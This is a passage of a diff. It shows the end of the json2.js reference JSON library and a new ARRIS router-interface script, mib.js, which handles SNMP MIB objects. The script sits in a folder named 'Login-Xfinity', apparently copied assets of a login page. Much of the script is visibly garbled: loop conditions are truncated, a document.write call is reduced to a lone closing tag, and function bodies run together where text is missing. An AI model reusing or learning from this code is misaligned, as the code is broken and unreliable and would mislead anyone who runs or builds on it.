the characters used to indent at each level. + + This method produces a JSON text from a JavaScript value. + + When an object value is found, if the object contains a toJSON + method, its toJSON method will be called and the result will be + stringified. A toJSON method does not serialize: it returns the + value represented by the name/value pair that should be serialized, + or undefined if nothing should be serialized. The toJSON method + will be passed the key associated with the value, and this will be + bound to the value + + For example, this would serialize Dates as ISO strings. + + Date.prototype.toJSON = function (key) { + function f(n) { + // Format integers to have at least two digits. + return n < 10 ? '0' + n : n; + } + + return this.getUTCFullYear() + '-' + + f(this.getUTCMonth() + 1) + '-' + + f(this.getUTCDate()) + 'T' + + f(this.getUTCHours()) + ':' + + f(this.getUTCMinutes()) + ':' + + f(this.getUTCSeconds()) + 'Z'; + }; + + You can provide an optional replacer method. It will be passed the + key and value of each member, with this bound to the containing + object. The value that is returned from your method will be + serialized. If your method returns undefined, then the member will + be excluded from the serialization. + + If the replacer parameter is an array of strings, then it will be + used to select the members to be serialized. It filters the results + such that only members with keys listed in the replacer array are + stringified. + + Values that do not have JSON representations, such as undefined or + functions, will not be serialized. Such values in objects will be + dropped; in arrays they will be replaced with null. You can use + a replacer function to replace those with JSON values. + JSON.stringify(undefined) returns undefined. + + The optional space parameter produces a stringification of the + value that is filled with line breaks and indentation to make it + easier to read. + + If the space parameter is a non-empty string, then that string will + be used for indentation. If the space parameter is a number, then + the indentation will be that many spaces. + + Example: + + text = JSON.stringify(['e', {pluribus: 'unum'}]); + // text is '["e",{"pluribus":"unum"}]' + + + text = JSON.stringify(['e', {pluribus: 'unum'}], null, '\t'); + // text is '[\n\t"e",\n\t{\n\t\t"pluribus": "unum"\n\t}\n]' + + text = JSON.stringify([new Date()], function (key, value) { + return this[key] instanceof Date ? + 'Date(' + this[key] + ')' : value; + }); + // text is '["Date(---current time---)"]' + + + JSON.parse(text, reviver) + This method parses a JSON text to produce an object or array. + It can throw a SyntaxError exception. + + The optional reviver parameter is a function that can filter and + transform the results. It receives each of the keys and values, + and its return value is used instead of the original value. + If it returns what it received, then the structure is not modified. + If it returns undefined then the member is deleted. + + Example: + + // Parse the text. Values that look like ISO date strings will + // be converted to Date objects. + + myData = JSON.parse(text, function (key, value) { + var a; + if (typeof value === 'string') { + a = +/^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2}(?:\.\d*)?)Z$/.exec(value); + if (a) { + return new Date(Date.UTC(+a[1], +a[2] - 1, +a[3], +a[4], + +a[5], +a[6])); + } + } + return value; + }); + + myData = JSON.parse('["Date(09/09/2001)"]', function (key, value) { + var d; + if (typeof value === 'string' && + value.slice(0, 5) === 'Date(' && + value.slice(-1) === ')') { + d = new Date(value.slice(5, -1)); + if (d) { + return d; + } + } + return value; + }); + + + This is a reference implementation. You are free to copy, modify, or + redistribute. +*/ + +/*jslint evil: true, strict: false */ + +/*members "", "\b", "\t", "\n", "\f", "\r", "\"", JSON, "\\", apply, + call, charCodeAt, getUTCDate, getUTCFullYear, getUTCHours, + getUTCMinutes, getUTCMonth, getUTCSeconds, hasOwnProperty, join, + lastIndex, length, parse, prototype, push, replace, slice, stringify, + test, toJSON, toString, valueOf +*/ + + +// Create a JSON object only if one does not already exist. We create the +// methods in a closure to avoid creating global variables. + +if (!this.JSON) { + this.JSON = {}; +} + +(function () { + + function f(n) { + // Format integers to have at least two digits. + return n < 10 ? '0' + n : n; + } + + if (typeof Date.prototype.toJSON !== 'function') { + + Date.prototype.toJSON = function (key) { + + return isFinite(this.valueOf()) ? + this.getUTCFullYear() + '-' + + f(this.getUTCMonth() + 1) + '-' + + f(this.getUTCDate()) + 'T' + + f(this.getUTCHours()) + ':' + + f(this.getUTCMinutes()) + ':' + + f(this.getUTCSeconds()) + 'Z' : null; + }; + + String.prototype.toJSON = + Number.prototype.toJSON = + Boolean.prototype.toJSON = function (key) { + return this.valueOf(); + }; + } + + var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, + escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, + gap, + indent, + meta = { // table of character substitutions + '\b': '\\b', + '\t': '\\t', + '\n': '\\n', + '\f': '\\f', + '\r': '\\r', + '"' : '\\"', + '\\': '\\\\' + }, + rep; + + + function quote(string) { + +// If the string contains no control characters, no quote characters, and no +// backslash characters, then we can safely slap some quotes around it. +// Otherwise we must also replace the offending characters with safe escape +// sequences. + + escapable.lastIndex = 0; + return escapable.test(string) ? + '"' + string.replace(escapable, function (a) { + var c = meta[a]; + return typeof c === 'string' ? c : + '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); + }) + '"' : + '"' + string + '"'; + } + + + function str(key, holder) { + +// Produce a string from holder[key]. + + var i, // The loop counter. + k, // The member key. + v, // The member value. + length, + mind = gap, + partial, + value = holder[key]; + +// If the value has a toJSON method, call it to obtain a replacement value. + + if (value && typeof value === 'object' && + typeof value.toJSON === 'function') { + value = value.toJSON(key); + } + +// If we were called with a replacer function, then call the replacer to +// obtain a replacement value. + + if (typeof rep === 'function') { + value = rep.call(holder, key, value); + } + +// What happens next depends on the value's type. + + switch (typeof value) { + case 'string': + return quote(value); + + case 'number': + +// JSON numbers must be finite. Encode non-finite numbers as null. + + return isFinite(value) ? String(value) : 'null'; + + case 'boolean': + case 'null': + +// If the value is a boolean or null, convert it to a string. Note: +// typeof null does not produce 'null'. The case is included here in +// the remote chance that this gets fixed someday. + + return String(value); + +// If the type is 'object', we might be dealing with an object or an array or +// null. + + case 'object': + +// Due to a specification blunder in ECMAScript, typeof null is 'object', +// so watch out for that case. + + if (!value) { + return 'null'; + } + +// Make an array to hold the partial results of stringifying this object value. + + gap += indent; + partial = []; + +// Is the value an array? + + if (Object.prototype.toString.apply(value) === '[object Array]') { + +// The value is an array. Stringify every element. Use null as a placeholder +// for non-JSON values. + + length = value.length; + for (i = 0; i < length; i += 1) { + partial[i] = str(i, value) || 'null'; + } + +// Join all of the elements together, separated with commas, and wrap them in +// brackets. + + v = partial.length === 0 ? '[]' : + gap ? '[\n' + gap + + partial.join(',\n' + gap) + '\n' + + mind + ']' : + '[' + partial.join(',') + ']'; + gap = mind; + return v; + } + +// If the replacer is an array, use it to select the members to be stringified. + + if (rep && typeof rep === 'object') { + length = rep.length; + for (i = 0; i < length; i += 1) { + k = rep[i]; + if (typeof k === 'string') { + v = str(k, value); + if (v) { + partial.push(quote(k) + (gap ? ': ' : ':') + v); + } + } + } + } else { + +// Otherwise, iterate through all of the keys in the object. + + for (k in value) { + if (Object.hasOwnProperty.call(value, k)) { + v = str(k, value); + if (v) { + partial.push(quote(k) + (gap ? ': ' : ':') + v); + } + } + } + } + +// Join all of the member texts together, separated with commas, +// and wrap them in braces. + + v = partial.length === 0 ? '{}' : + gap ? '{\n' + gap + partial.join(',\n' + gap) + '\n' + + mind + '}' : '{' + partial.join(',') + '}'; + gap = mind; + return v; + } + } + +// If the JSON object does not yet have a stringify method, give it one. + + if (typeof JSON.stringify !== 'function') { + JSON.stringify = function (value, replacer, space) { + +// The stringify method takes a value and an optional replacer, and an optional +// space parameter, and returns a JSON text. The replacer can be a function +// that can replace values, or an array of strings that will select the keys. +// A default replacer method can be provided. Use of the space parameter can +// produce text that is more easily readable. + + var i; + gap = ''; + indent = ''; + +// If the space parameter is a number, make an indent string containing that +// many spaces. + + if (typeof space === 'number') { + for (i = 0; i < space; i += 1) { + indent += ' '; + } + +// If the space parameter is a string, it will be used as the indent string. + + } else if (typeof space === 'string') { + indent = space; + } + +// If there is a replacer, it must be a function or an array. +// Otherwise, throw an error. + + rep = replacer; + if (replacer && typeof replacer !== 'function' && + (typeof replacer !== 'object' || + typeof replacer.length !== 'number')) { + throw new Error('JSON.stringify'); + } + +// Make a fake root object containing our value under the key of ''. +// Return the result of stringifying the value. + + return str('', {'': value}); + }; + } + + +// If the JSON object does not yet have a parse method, give it one. + + if (typeof JSON.parse !== 'function') { + JSON.parse = function (text, reviver) { + +// The parse method takes a text and an optional reviver function, and returns +// a JavaScript value if the text is a valid JSON text. + + var j; + + function walk(holder, key) { + +// The walk method is used to recursively walk the resulting structure so +// that modifications can be made. + + var k, v, value = holder[key]; + if (value && typeof value === 'object') { + for (k in value) { + if (Object.hasOwnProperty.call(value, k)) { + v = walk(value, k); + if (v !== undefined) { + value[k] = v; + } else { + delete value[k]; + } + } + } + } + return reviver.call(holder, key, value); + } + + +// Parsing happens in four stages. In the first stage, we replace certain +// Unicode characters with escape sequences. JavaScript handles many characters +// incorrectly, either silently deleting them, or treating them as line endings. + + text = String(text); + cx.lastIndex = 0; + if (cx.test(text)) { + text = text.replace(cx, function (a) { + return '\\u' + + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); + }); + } + +// In the second stage, we run the text against regular expressions that look +// for non-JSON patterns. We are especially concerned with '()' and 'new' +// because they can cause invocation, and '=' because it can cause mutation. +// But just to be safe, we want to reject all unexpected forms. + +// We split the second stage into 4 regexp operations in order to work around +// crippling inefficiencies in IE's and Safari's regexp engines. First we +// replace the JSON backslash pairs with '@' (a non-JSON character). Second, we +// replace all simple value tokens with ']' characters. Third, we delete all +// open brackets that follow a colon or comma or that begin the text. Finally, +// we look to see that the remaining characters are only whitespace or ']' or +// ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval. + + if (/^[\],:{}\s]*$/ +.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@') +.replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']') +.replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) { + +// In the third stage we use the eval function to compile the text into a +// JavaScript structure. The '{' operator is subject to a syntactic ambiguity +// in JavaScript: it can begin a block or an object literal. We wrap the text +// in parens to eliminate the ambiguity. + + j = eval('(' + text + ')'); + +// In the optional fourth stage, we recursively walk the new structure, passing +// each name/value pair to a reviver function for possible transformation. + + return typeof reviver === 'function' ? + walk({'': j}, '') : j; + } + +// If the text is not JSON parseable, then a SyntaxError is thrown. + + throw new SyntaxError('JSON.parse'); + }; + } +}()); diff --git a/sites/Login-Xfinity/Xfinity_files/mib.js b/sites/Login-Xfinity/Xfinity_files/mib.js new file mode 100755 index 0000000..8d0e2e2 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/mib.js @@ -0,0 +1,3917 @@ +//(c) Copyright 2011-2012, ARRIS Group, Inc., All rights reserved. +//justin add +document.write("<\/scr" + "ipt>"); +//justin add end + +var walk = { }; +var loads = []; +var stores = []; +var table = { }; +var container = { }; +var oidsRead = [ ]; +var mib = { }; +var bulkLoading = false; +var bulkList = [ ]; + + +function appendMulti_OID(obj_in) +{ + var oid_array=""; + var i=0; + for(;i=0) + { + var current_pos=MIB_Arrays[i]; + MIB_Arrays_sorted.push(current_pos); + for(var j=i+1;j=0)&&(current_pos["mibobj"].name==MIB_Arrays[j]["mibobj"].name)) + { + if(MIB_Arrays[j].index>=current_pos.index) + { + var newobj=MIB_Arrays[j]; + MIB_Arrays_sorted.push(newobj); + if (window.console) console.log("push:"+MIB_Arrays[j]["mibobj"].name+"["+MIB_Arrays[j].index+"] under: "+MIB_Arrays[i]["mibobj"].name+"["+MIB_Arrays[i].index+"]"); + } + else /* simple sort */ + { + var temp_obj=MIB_Arrays_sorted.pop(); + MIB_Arrays_sorted.push(newobj); + MIB_Arrays_sorted.push(temp_obj); + } + + if(MIB_Arrays_sorted.length==MIB_len) + { + MIB_dumpArray(MIB_Arrays_sorted); + return MIB_Arrays_sorted; + } + else + { + if(MIB_Arrays_sorted.length==0) + { + MIB_Arrays_sorted=MIB_objs; + return MIB_Arrays_sorted; + } + } + } + else + { + ;//MIB_dumpArray(MIB_Arrays_sorted); For Console debug + } + }catch(e) + { + if (window.console) console.log("Error:"+e); + if(MIB_Arrays_sorted.length==0) + { + MIB_Arrays_sorted=MIB_objs; + return MIB_Arrays_sorted; + } + else + return MIB_objs; + } + } + } + } + + return MIB_objs; +} + +function MIB_JSON2Str(MIB_objs) +{ + var MIB_size=MIB_objSize(MIB_objs); + var MIB_Str=""; + var MIB_count=0; + for(var index_key in MIB_objs) + { + if(!isArray(MIB_objs[index_key])) + MIB_Str+='"'+index_key+'":"'+MIB_objs[index_key]+'"'; + else + { + var MIB_subArray=MIB_objs[index_key]; + var tempStr=""; + var i=0; + for(i=0;i 47 && hh<58) || (hh > 64 && hh<91) || (hh > 96 && hh<123)) + { + } + else { + return false; + } + } + return true; +} +function MIB_BatchLoad(MIB_objs,force_multi) +{ + var MIB_query=appendMulti_OID(MIB_objs); + var MIB_Result;//=new Array();;//=[];// + var MIB_Str="{"; + var MIB_JSON=snmpMultiGet(MIB_query); + var MIB_len=MIB_objs.length; + var i=0; + if (force_multi==undefined) + force_multi = false; + for (var index_key in MIB_JSON) + { + //alert("index_key:"+index_key); + var DataRow =""; + if(index_key==(MIB_objs[i]["mibobj"].oid+"."+MIB_objs[i]["index"])) + { + DataRow='"'+MIB_objs[i]["mibobj"].name+'":['; + val0=MIB_JSON[index_key]; + if (MIB_objs[i]["mibobj"].type==4) + { + //val2=convertHexStringToASCIIString(val0); + //if ( MIB_objs[i]["mibobj"].compo==1 ) + { + val2=val0; + } + DATA=val2.escapeChars(); + } + else + { + DATA=val0; + } + //if(index_key=="1.3.6.1.4.1.4115.1.3.3.1.1.2.1.1.0") + // alert("index_key:"+index_key+" DATA:"+DATA); + + //luis add + if(DATA.toUpperCase()=="NO SUCH OBJECT") + DATA=""; + //luis add end + + if((i>=1)&&(MIB_objs[i]["mibobj"].name==MIB_objs[i-1]["mibobj"].name)) + { + MIB_Str=MIB_Str.substring(0,MIB_Str.lastIndexOf("]")); + MIB_Str+=',"'+ DATA.toString() +'"]'; //More + MIB_Str+=((i>\n{"+MIB_objs[i]["mibobj"].name+":"+MIB_JSON[index_key].toString()+"}"); + return undefined; + } + } + MIB_Str+="}"; + MIB_Result=eval('('+MIB_Str+')'); + //Reduce one element Array + if(!force_multi) + { + MIB_Result=MIB_reduceArray(MIB_Result); + } +// alert("(mib.js)MIB_BatchLoad str=["+MIB_Str+"]."); + return MIB_Result; +} + +function MIB_objSize(MIB_objs) +{ + var count=0; + for(var index_key in MIB_objs) + { + count++; + } + return count; +} + +function isArray(what) { + return Object.prototype.toString.call(what) === '[object Array]'; +} + +function MIB_objAppend(MIB_objs,MIB_objs_2,force_multi) +{ + if(force_multi==undefined) + force_multi=false; + var MIB_Result; + var MIB_size=MIB_objSize(MIB_objs); + var MIB_size_2=MIB_objSize(MIB_objs_2); + var MIB_Str=MIB_JSON2Str(MIB_objs); + + if(MIB_size_2>0) + MIB_Str+=","; + MIB_Str+=MIB_JSON2Str(MIB_objs_2); + MIB_Str="{"+MIB_Str+"}"; + MIB_Result=eval('('+MIB_Str+')'); + if(!force_multi) + { + MIB_Result=MIB_reduceArray(MIB_Result); + } + return MIB_Result; +} + + + +function bulkLoad(load_func) { + bulkLoading = true; + bulkList = []; + load_func(); + bulkLoading = false; + if (bulkList.length === 0) + return; + var oids = []; + _.each(bulkList, function (oid, index) { + oids.push(oid); + if (oids.length === 20 || index === (bulkList.length-1)) { + var v = snmpGet(oids); + _.each(v, function (val, key) { + walk[key] = val; + }); + oids = []; + } + }); +} + +function sliceOid(oid, start, end) { + var oids = oid.split("."); + if (start < 0) { + start = oids.length + start; + end = oids.length; + } else { + end = (end === undefined ? oids.length : end); + } + if (end < 0) { + end = oids.length + end; + } + return _(oids.slice(start, end)).reduce(function(acc, next) { + return acc ? acc + "." + next : next; + }); +} + +//function getWalkOids(targetOid) { +// $.each(oidMap, function(oid,def) { +// if (!oid.startsWith(target)) +// return; +// +// +// }); +//} + +if (window["preWalk"]) + walk = window["preWalk"]; + +function afterLoad(f) { + { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + } +} +function load1(f, json) { + if (json === undefined) + json = snmpWalk([ f.oid ]); + // json = JSON.parse(json || "{ }"); + _(json).each(function(val, oid) { + walk[oid] = val; + }); + { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + } +} + +var loadLogData = ""; + +function loadLogger(l) { + if (window.console) console.log(l); + if (debug()&2 && !(l.contains("assword", "TAC","RadiusKey")) ) + loadLogData += (l+"
    "); +} + +function load() { + loadLogData = ""; + var args = _(_.toArray(arguments)); + if (!window["preWalk"]) { + var oids = args.map(function(f) { + return f.oid; + }); + var json = snmpWalk(oids); + // json = JSON.parse(json || "{ }"); + _(json).each(function(val, oid) { + walk[oid] = val; + }); + } + args.each(function(f) { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + }) + loadRowStatus(); + +// mb +// args.each(function(f) { +// f.dump(loadLogger); +// }) +// if (debug()&2) +// afterBuild( function() { +// showWalk(loadLogData); +// }); + +} + +function loadFake() { + var args = _(_.toArray(arguments)); + args.each(function(f) { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + }) +} +function loadOids(oa) { + function doget(a) { + var json = snmpWalk(a); + // json = JSON.parse(json || "{ }"); + _(json).each(function(val, oid) { + walk[oid] = val; + }); + } + + var soa = [ ]; + _.each(oa, function(o) { + soa.push(o); + if (soa.length > 5) { + doget(soa); + soa = [ ]; + } + }); + if (soa.length) + doget(soa); +} + + +function store() { + MibObjects.ApplyAllSettings.set(1); + refresh(); +} + +function listAccessed() { + _.each(_.extend({}, container, table), function(f) { + if (f.accessed) if (window.console) console.log(f.name); + }); +} + +function decodeOid(oid) { + var d = ""; + var match = { oid: "" }; + _.each(_.extend({}, container, table), function(f) { + _.each(f.children, function(e) { + if (oid.startsWith(e.oid + ".") && e.oid.length > match.oid.length) { + match = e; + } + }) + }); + //d = e.name+oid.substr(e.oid.length); + return match.oid ? match.name + oid.substr(match.oid.length) : "???" + oid; +} + +function decodeOid(oid) { + var d = ""; + var match = { oid: "" }; + _.each(_.extend({}, container, table), function(f) { + _.each(f.children, function(e) { + if (oid.startsWith(e.oid + ".") && e.oid.length > match.oid.length) { + match = e; + } + }) + }); + //d = e.name+oid.substr(e.oid.length); + return match.oid ? match.name + oid.substr(match.oid.length) : "???" + oid; +} + + + +function dumpOidsRead() { + _.each(oidsRead, function(o) { + if (window.console) console.log(o); + }); +} + + +function oidValuesEqual(a,b) { + if ((""+a).startsWith("$") && (""+b).startsWith("$")) { + return a.replace(/ /g,"") === b.replace(/ /g,"") + } + return a == b; +} + + +function Container(name, oid) { + this.name = name; + this.oid = oid; + mib[oid] = this; + container[oid] = this; + this.parent = mib[sliceOid(oid, 0, -1)]; + if (this.parent) + this.parent.children.push(this); + //$.log("container "+name+" parent "+(this.parent ? this.parent.name : "ROOT")); + this.children = [ ]; + this.loaded = false; + this.accessed = false; + this.dump = function(f) { + var or = oidsRead.slice(0); + if (f === undefined) + f = $.log; + accessed = this.accessed; + f(name + " ==============="); + _.each(this.children, function(v) { + if (v !== undefined && v.scalar) + f(v.name + ":" + v.get()); + }); + this.accessed = accessed; + oidsRead = or; + }; + this.json = function() { + return { name:this.name,type:"container",oid:this.oid, + children: _.map(this.children, function(f) { + return f.json(); + }) }; + } +} + +function Table(name, oid) { + this.oid = oid; + this.name = name; + mib[oid] = this; + table[oid] = this; + this.parent = mib[sliceOid(oid, 0, -1)]; + if (this.parent) + this.parent.children.push(this); + //$.log("table "+name+" parent "+(this.parent ? this.parent.name : "???")); + this.key = []; + this.children = [ ]; + this.loaded = false; + this.accessed = false; + this.rowStatus = null; + this.rowVisible = function(key) { + var vis = true; + if (this.rowStatus) { + vis = this.rowStatus.getOid(key) <= 2;/* 2: not in service 1: active */ + if (!vis) + if (window.console) console.log(name+"."+key+" not visible: "+this.rowStatus.getOid(key));// + } + return vis; + }; + this.length = function() { + return this.key.length; + }; + this.afterLoad = function() { + var hash = { }; + _.each(walk, function(v, k) { + if (k.startsWith(oid + ".")) { + //key = sliceOid(k.substr(oid.length+1),2); + //var tableoid = sliceOid(k,0,-2); + var testKey = sliceOid(k.substr(oid.length + 1), 2); + if (testKey && !hash[testKey]) { + hash[testKey] = testKey; + this.key.push(testKey); + } + } + }, this); + this.loaded = true; + loadRowStatus(); + } + this.dumpGroupRow = true; + this.dump = function(f) { + var or = oidsRead.slice(0); + if (f === undefined) + f = $.log; + accessed = this.accessed; + var rv = ""; + for (var i = 0; i < this.length(); i++) { + rv += this.key[i] + ";"; + } + f("table " + name + " size=" + this.length() + " " + rv); + var rv = ""; + for (var i = 0; i < this.length(); i++) { + $.each(this.children, function(k, v) { + if (v.get(i)) { + rv += (v.name + ":" + v.get(i) + ";"); + if (!this.dumpGroupRow) { + f("===" + this.table.key[i] + "==>" + rv); + rv = ""; + } + } + }); + if (rv.length && this.dumpGroupRow) + f("===" + this.key[i] + "==>" + rv); + } + this.accessed = accessed; + oidsRead = or; + f("rowStatus: "+ (this.rowStatus ? this.rowStatus.name : "")); + } + this.json = function() { + return { name:this.name,type:"table",oid:this.oid, + children: _.map(this.children, function(f) { + return f.json(); + }) }; + } + this.getTable = function(cola, func) { + if (walk[this.oid] === undefined) { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.afterLoad(); + } + else if (0 == this.oid.indexOf(MtaDevVqmMetricTable.oid)) + { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.key.splice(0,this.key.length); + this.afterLoad(); + + } + else if (0 == this.oid.indexOf(MtaDevVqmCallNumberTable.oid)) + { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.key.splice(0,this.key.length); + this.afterLoad(); + } + else if (0 == this.oid.indexOf(MACAccessTable.oid)) + { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.key.splice(0,this.key.length); + this.afterLoad(); + } + var or = oidsRead.slice(0); + var table = [ ]; + if (!cola) + cola = this.children; + for (var i = 0; i < this.length(); i++) { + if (!this.rowVisible(this.key[i])) + continue; + var row = []; + _.each(cola, function(c) { + val0=c.get(c.table.key[i]); + if (c.type==4) + { + //val2=convertHexStringToASCIIString(val0); + //if (c.compo==1) + { + val2=val0; + } + } + else + val2=val0; + //luis add + if(val2.toUpperCase()=="NO SUCH OBJECT") + val2=""; + //luis add end + + row.push(val2); + + }); + if (func) { + row = func(i, row, this.key[i]); + if (row) + table.push(row); + } + else table.push(row); + } + oidsRead = or; + return table; + } + + this.getTableFromJson = function(json_obj,cola, func) { + //walk[this.oid]=json_obj[this.name]; + _.extend(walk,json_obj[this.name]); + this.afterLoad(); + var or = oidsRead.slice(0); + var table = [ ]; + if (!cola) + cola = this.children; + for (var i = 0; i < this.length(); i++) { + if (!this.rowVisible(this.key[i])) + continue; + var row = []; + _.each(cola, function(c) { + val0=c.get(c.table.key[i]); + if (c.type==4) + { + //val2=convertHexStringToASCIIString(val0); + //if (c.compo==1) + { + val2=val0; + } + } + else + val2=val0; + row.push(val2); + }); + if (func) { + row = func(i, row, this.key[i]); + if (row) + table.push(row); + } + else table.push(row); + } + oidsRead = or; + return table; + } + + this.getMultiTable = function(tables_oid) { + var temp_str=""; + var MIB_Result; + var MultiTable=[ ]; + var tablecount=tables_oid.length,i; + for(i=0;i this.table.key.length) + if (window.console) console.log("index " + index + " out of range for " + table.name); + return this.table.key[index] || ""; + } + this.get = function(index, index2) { + if (!index || index.asInt() === 0) + if (window.console) console.log("old style index get "+name+" "+index); + if (index2 !== undefined) + index += "."+index2; + var oid = this.oid+"."+index; + + if (bulkLoading) { + bulkList.push(oid); + return; + } + + if (walk[oid] === undefined) + { + walk[oid] = decodeURIComponent(snmpGet1(oid) || ""); + return walk[oid]; + } + else + { + //$.each(walk, function(v, k) { + // k=decodeURIComponent(v); + //}); + return walk[oid]; + } + if (arguments.length !== 1) + alert("expected index for column " + this.name); + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + this.table.accessed = true; + if (index < 0 || index > this.table.key.length) { + if (window.console) console.log("index " + index + " out of existing range for " + table.name); + oidsRead.push(oid + "." + (parseInt(index) + 1)); + return walk[oid + "." + (parseInt(index) + 1)] || ""; + } + oidsRead.push(oid + "." + this.table.key[index]); + return walk[oid + "." + this.table.key[index]] || ""; + } + this.getOid = function(index) { + if (arguments.length !== 1) + alert("expected index for column " + this.name); + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + oidsRead.push(oid + "." + index); + if (window.console) console.log(this.name+"."+index+" = "+walk[oid + "." + index] || ""); + return walk[oid + "." + index] || ""; + } + + this.set = function(index, value, label) { + try { + snmpSet1(this.oid + "."+index, value, this.type); + } catch (e) { + if (e == "unauthorized") + refresh(); + else if (label) + throw { oid:this.oid + index, label:label }; + throw e; + } + return; + + + if (v !== undefined) + throw "this.set v WAS set"; + + if (!index || index.asInt() === 0) + throw "old style index set "+name+" "+index; + if (v !== undefined) { + index += "."+index2; + } else { + v = index2; + } + + if (arguments.length < 2) + alert("expected index for column " + this.name); + + stores.push({oid: this.oid + "."+index,value:v, type:this.type}); + return; + + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + var oid = this.oid; + if (index < 0 || index > this.table.key.length) { + if (window.console) console.log("index " + index + " out of existing range for " + table.name); + oid += "." + (parseInt(index) + 1); + } else { + oid = this.oid + "." + this.getKey(index); + } + // if (!oidValuesEqual(this.get(index), v)) { + if (window.console) console.log("set " + name + "." + this.getKey(index) + ":" + v); + stores.push({oid:oid,value:v, type:this.type}); + // } + // else $.log(name + " (" + oid + ") not changed " + v); + }; + this.asyn_set = function(index, value, label) { + try { + snmpSet1Async(this.oid + "."+index, value, this.type); + } catch (e) { + if (e == "unauthorized") + refresh(); + else if (label) + throw { oid:this.oid + index, label:label }; + throw e; + } + return; + + + if (v !== undefined) + throw "this.set v WAS set"; + + if (!index || index.asInt() === 0) + throw "old style index set "+name+" "+index; + if (v !== undefined) { + index += "."+index2; + } else { + v = index2; + } + + if (arguments.length < 2) + alert("expected index for column " + this.name); + + stores.push({oid: this.oid + "."+index,value:v, type:this.type}); + return; + + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + var oid = this.oid; + if (index < 0 || index > this.table.key.length) { + if (window.console) console.log("index " + index + " out of existing range for " + table.name); + oid += "." + (parseInt(index) + 1); + } else { + oid = this.oid + "." + this.getKey(index); + } + // if (!oidValuesEqual(this.get(index), v)) { + if (window.console) console.log("set " + name + "." + this.getKey(index) + ":" + v); + stores.push({oid:oid,value:v, type:this.type}); + // } + // else $.log(name + " (" + oid + ") not changed " + v); + }; + // this.setOid = function(index, v) { + // if (arguments.length !== 2) + // alert("expected index for column " + this.name); + // if (!oidValuesEqual(this.get(index), v)) { + // $.log("setOid " + name + "." + index + ":" + v); + // stores.push({oid:this.oid + "." + index,value:v, type:this.type}); + // } + // else $.log(name + "." + index + " not changed " + v); + // }; + + this.defined = function(index) { + if (index === undefined || index < 0 || index > this.table.key.length) + return false; + return walk[oid + "." + this.table.key[index]] !== undefined; + } + this.json = function() { + return { name:this.name,type:"column",oid:this.oid }; + } +} +var Mib = new Container("Mib", "1.3.6.1.4.1.4115.1.20.1"); + +var MibObjects = new Container("MibObjects", "1.3.6.1.4.1.4115.1.20.1.1"); +MibObjects.ApplyAllSettings= new Scalar("ApplyAllSettings","1.3.6.1.4.1.4115.1.20.1.1.9",2); +var arApplyAllSettings=MibObjects.ApplyAllSettings; + +var WanConfig = new Container("WanConfig", "1.3.6.1.4.1.4115.1.20.1.1.1"); +WanConfig.WanConnType= new Scalar("WanConnType","1.3.6.1.4.1.4115.1.20.1.1.1.1",2); +WanConfig.WanConnHostName= new Scalar("WanConnHostName","1.3.6.1.4.1.4115.1.20.1.1.1.2",4); +WanConfig.WanConnDomainName= new Scalar("WanConnDomainName","1.3.6.1.4.1.4115.1.20.1.1.1.3",4); +WanConfig.WanMTUSize= new Scalar("WanMTUSize","1.3.6.1.4.1.4115.1.20.1.1.1.4",66); +WanConfig.WanApply= new Scalar("WanApply","1.3.6.1.4.1.4115.1.20.1.1.1.5",2); +WanConfig.WanStaticFreeIdx= new Scalar("WanStaticFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.1.8",66); +WanConfig.WanIFMacAddr= new Scalar("WanIFMacAddr","1.3.6.1.4.1.4115.1.20.1.1.1.13",4, 1); +WanConfig.WanInterface= new Scalar("WanInterface","1.3.6.1.4.1.4115.1.20.1.1.1.14",2); +WanConfig.WanConnTypeV6= new Scalar("WanConnTypeV6","1.3.6.1.4.1.4115.1.20.1.1.1.16",2); +WanConfig.WanIPProvMode= new Scalar("WanIPProvMode","1.3.6.1.4.1.4115.1.20.1.1.1.17",2); +var arWanConnType=WanConfig.WanConnType; +var arWanConnHostName=WanConfig.WanConnHostName; +var arWanConnDomainName=WanConfig.WanConnDomainName; +var arWanMTUSize=WanConfig.WanMTUSize; +var arWanApply=WanConfig.WanApply; +var arWanStaticFreeIdx=WanConfig.WanStaticFreeIdx; +var arWanIFMacAddr=WanConfig.WanIFMacAddr; +var arWanInterface=WanConfig.WanInterface; +var arWanConnTypeV6=WanConfig.WanConnTypeV6; +var arWanIPProvMode=WanConfig.WanIPProvMode; + +var WanCurrentTable = new Table("WanCurrentTable", "1.3.6.1.4.1.4115.1.20.1.1.1.7"); +WanCurrentTable.WanCurrentIPIndex = new Column("WanCurrentIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.1",66); +WanCurrentTable.WanCurrentIPAddrType = new Column("WanCurrentIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.2",2); +WanCurrentTable.WanCurrentIPAddr = new Column("WanCurrentIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.3",4, 1); +WanCurrentTable.WanCurrentPrefix = new 